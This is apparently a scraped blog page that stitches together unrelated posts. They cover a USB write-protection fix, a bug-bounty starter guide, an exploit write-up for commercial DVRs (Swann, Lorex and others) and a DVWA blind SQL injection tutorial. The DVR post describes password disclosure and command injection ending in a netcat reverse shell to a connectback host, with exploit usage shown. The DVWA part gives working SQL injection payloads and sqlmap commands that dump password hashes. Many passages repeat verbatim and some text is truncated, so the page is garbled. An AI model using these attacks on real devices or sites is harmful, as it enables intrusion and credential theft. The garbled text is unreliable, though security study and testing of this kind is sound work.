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sábado, 9 de mayo de 2020
November 2019 Connector
How To Remove Write Protection From USB Drives And Memory Cards
If you've got a USB drive or SD card that can't be formatted and to which you can't copy files, then take a look at our guide to removing write protection.
Sometimes you'll find that it's impossible to format, delete or copy new files to an SD card or USB flash drive. Windows will tell you that it is write protected, even though there is no 'lock' switch or – if there is – you've made sure the switch is set correctly to allow files to be written to the drive.
But just in case this switch is news to you, it is well worth checking that your device has the switch set to 'unlocked'. When set to 'locked' you won't be able to copy any new files on to the memory card or USB stick, and it also stops you from accidentally formatting it.
You'll still be able to view files which are already stored on the drive, but you can't delete them (they sometimes seem to delete OK, but the next time you check, there they are again!).
ut if this isn't the problem, you might still be able to fix things and continue to use your USB flash drive or SD card – we'll explain how.
Unfortunately, in some cases the device may be corrupt or physically broken and no tricks or software will make it work again. The only solution in this case is to buy a new drive. And if you're just trying to get back lost data, see our guide on How to recover deleted filed for free.
In any version of Windows from XP onwards, run Regedit.exe.
If you're not sure how to find it, searching 'regedit' in the Start menu will usually show the program at the top of the list.
It's a bit like File Explorer, so use the pane on the left to navigate to the following key:
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies
Note: if you can't find StorageDevicePolicies, see the next step.
Double-click on the WriteProtect value in the right-hand pane. You can now change the Value data from 1 to 0. Then click OK to save the change. Close Regedit and restart your computer. Connect your USB drive again and, with a bit of luck, you should find it is no longer write protected.
You can now continue to use the drive, but it's worth copying off any files you want to keep and then formatting it by right-clicking on it in the list of drives in File Explorer and choosing Format.
StorageDevicePolicies
If you can't find StorageDevicePolicies, you can create it by right-clicking in the white space in the 'Control' folder and choosing New -> Key and entering the name StorageDevicePolicies.
Now double-click on the new key (it will show as a folder) and right-click once again in the white space and choose New -> DWORD. Name this WriteProtect and set its value to 0. Click OK, exit Regedit and reboot your computer.
If this method doesn't work, go to the next step.
Diskpart
With your USB drive or memory card attached to your computer, launch a command prompt. You can do this by searching for cmd.exe or 'Command Prompt' in the Start menu.
Note: you may need to run cmd.exe with administrator privileges if you see an "access is denied" message. To do this, right-click on Command Prompt in the Start menu and choose 'Run as administrator' from the menu that appears.
If you have Windows 10, simply right-click on the Start button (bottom left of the screen) and choose Command Prompt (admin).
Now, at the prompt, type the following and press Enter after each command:
diskpart
list disk
select disk x (where x is the number of your non-working drive – use the capacity to work out which one it is)
attributes disk clear readonly
clean
create partition primary
format fs=fat32 (you can swap fat32 for ntfs if you only need to use the drive with Windows computers)
exit
list disk
select disk x (where x is the number of your non-working drive – use the capacity to work out which one it is)
attributes disk clear readonly
clean
create partition primary
format fs=fat32 (you can swap fat32 for ntfs if you only need to use the drive with Windows computers)
exit
That's it. Your drive should now work as normal in File Explorer. If it doesn't, it's bad news and there's nothing more to be done. Your stick or memory card is scrap and fit only for the bin. But the good news is that storage is cheap.
Related word
RenApp: The Ultimate File Renaming App
Are you tired of managing your tens of thousands of files like jpgs, pngs, or others and you want a way to manage them as quick as possible then RenApp is solution for all problem.
RenApp lets you change names of many files of a particular type to a common name with added numbering. So no more time wasting in file management just four clicks and your files will be ordered.
Beside that RenApp can clean your folders and subfolders from backup files of .bak or .*~ extension. Removing backup files in order to make space available manually is a tedious work and can take lots of time but why do it that we've got RenApp just locate the folder and click remove it'll remove them all from that folder and its subfolders.
Some of the features of RenApp are as:
- Rename files to a common name.
- Rename files of different extensions to a common name in one shot
- Remove backup files from folder and subfolders.
R RenApp is free and Opensource, written in Python with QT interface. Check out the source code at sourceforge.
Read more
viernes, 8 de mayo de 2020
How Do I Get Started With Bug Bounty ?
How do I get started with bug bounty hunting? How do I improve my skills?
These are some simple steps that every bug bounty hunter can use to get started and improve their skills:
Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.
Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".
Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.
Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.
Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.
Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.
Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.
A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.
These are some simple steps that every bug bounty hunter can use to get started and improve their skills:
Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.
Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".
Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.
Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.
Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.
Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.
Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.
A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.
More info
- Rom Hacking
- Javascript Hacking
- Tutoriales Hacking
- Hacking Wifi Android
- Etica Definicion
- Como Aprender A Hackear Desde Cero
- Hacking Language
- Como Aprender A Ser Hacker
- Hacking Informatico
- Phishing Hacking
- Hacking Traduccion
- Hacking With Python
- Hacking Web
- Experto En Seguridad Informática
- Amiibo Hacking
jueves, 7 de mayo de 2020
Swann Song - DVR Insecurity
"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.
I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)
After opening the device up something grabbed my attention right away....
The highlighted header looked like a pretty good possibility for a serial port, time to break out the multi-meter and check. After a couple power cycles, the header was indeed a serial port :)
This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".
"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Continue reading
I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)
After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.
Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:
setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single
This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".
Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:
python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456
Script can be found here.
After owning the device at the "application" level, I figured it was time to go deeper.
Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.
Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
$$$ Bug Bounty $$$
What is Bug Bounty ?
A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.
Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.
Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1. In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.
While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.
More articles
A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.
Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.
Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1. In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.
While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.
Learning Web Pentesting With DVWA Part 3: Blind SQL Injection
In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."
To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:
Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:
Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:
We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:
This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:
Again we get a valid response lets increase the number to 2.
We get a valid response again lets go for 3.
We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:
Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:
And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:
this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:
Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:
After getting the list of tables its time to dump the columns of users table like this:
And at last we will dump the passwords column of the users table like this:
Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:
But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp
We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:
' or 1=1-- -
Enter the following in the User ID field:
' or 1=1 order by 1-- -
' or 1=1 order by 2-- -
' or 1=1 order by 3-- -
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:
1' and substring(version(), 1,1) = 1-- -
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:
1' and substring(version(),1,1) = 2-- -
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:
sqlmap --version
Now type the following command to get the names of the databases:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:
sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.
References:
1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp
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